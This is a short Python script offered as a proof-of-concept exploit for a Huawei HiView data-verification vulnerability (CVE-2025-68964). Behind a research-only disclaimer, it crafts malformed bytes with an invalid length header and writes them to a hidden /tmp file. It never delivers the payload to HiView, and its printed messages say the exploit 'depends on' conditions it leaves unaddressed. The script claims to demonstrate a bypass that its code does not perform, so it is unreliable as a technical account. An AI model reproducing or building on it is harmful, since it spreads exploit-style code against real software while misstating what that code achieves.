The following code is for security research and authorized testing only.
python
# CVE-2025-68964 PoC - HiView Module Data Verification Bypass
# This PoC demonstrates local privilege access to trigger availability impact
# Note: Actual exploitation requires specific input crafting based on target environment
import struct
import os
def create_malformed_hiview_data():
"""
Generate malformed data payload to trigger data verification vulnerability
in Huawei HiView module. This may cause availability impact.
"""
# Craft malformed data structure
payload = bytearray()
# Header with invalid length field
payload.extend(b'HIVW') # Magic number
payload.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid length
# Malformed data entries
for i in range(100):
payload.extend(b'\x00' * 256) # Padding
payload.extend(struct.pack('<Q', i)) # Index
payload.extend(b'\xFF' * 128) # Invalid data
return bytes(payload)
def trigger_vulnerability(target_path='/usr/bin/HiView'):
"""
Attempt to trigger the data verification vulnerability.
Requires local access to the target system.
"""
if not os.path.exists(target_path):
print(f'[-] Target {target_path} not found')
return False
print('[+] Creating malformed HiView data payload...')
payload = create_malformed_hiview_data()
# Write payload to temp location
temp_file = '/tmp/.hiview_exploit_payload'
with open(temp_file, 'wb') as f:
f.write(payload)
print(f'[+] Payload written to {temp_file}')
print('[+] Payload size:', len(payload), 'bytes')
print('[+] Note: Actual exploitation depends on specific HiView version')
print('[+] This PoC demonstrates the data verification bypass concept')
return True
if __name__ == '__main__':
print('CVE-2025-68964 - Huawei HiView Module Data Verification Vulnerability')
print('CVSS: 6.2 (Medium) | AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H')
print('-' * 60)
trigger_vulnerability()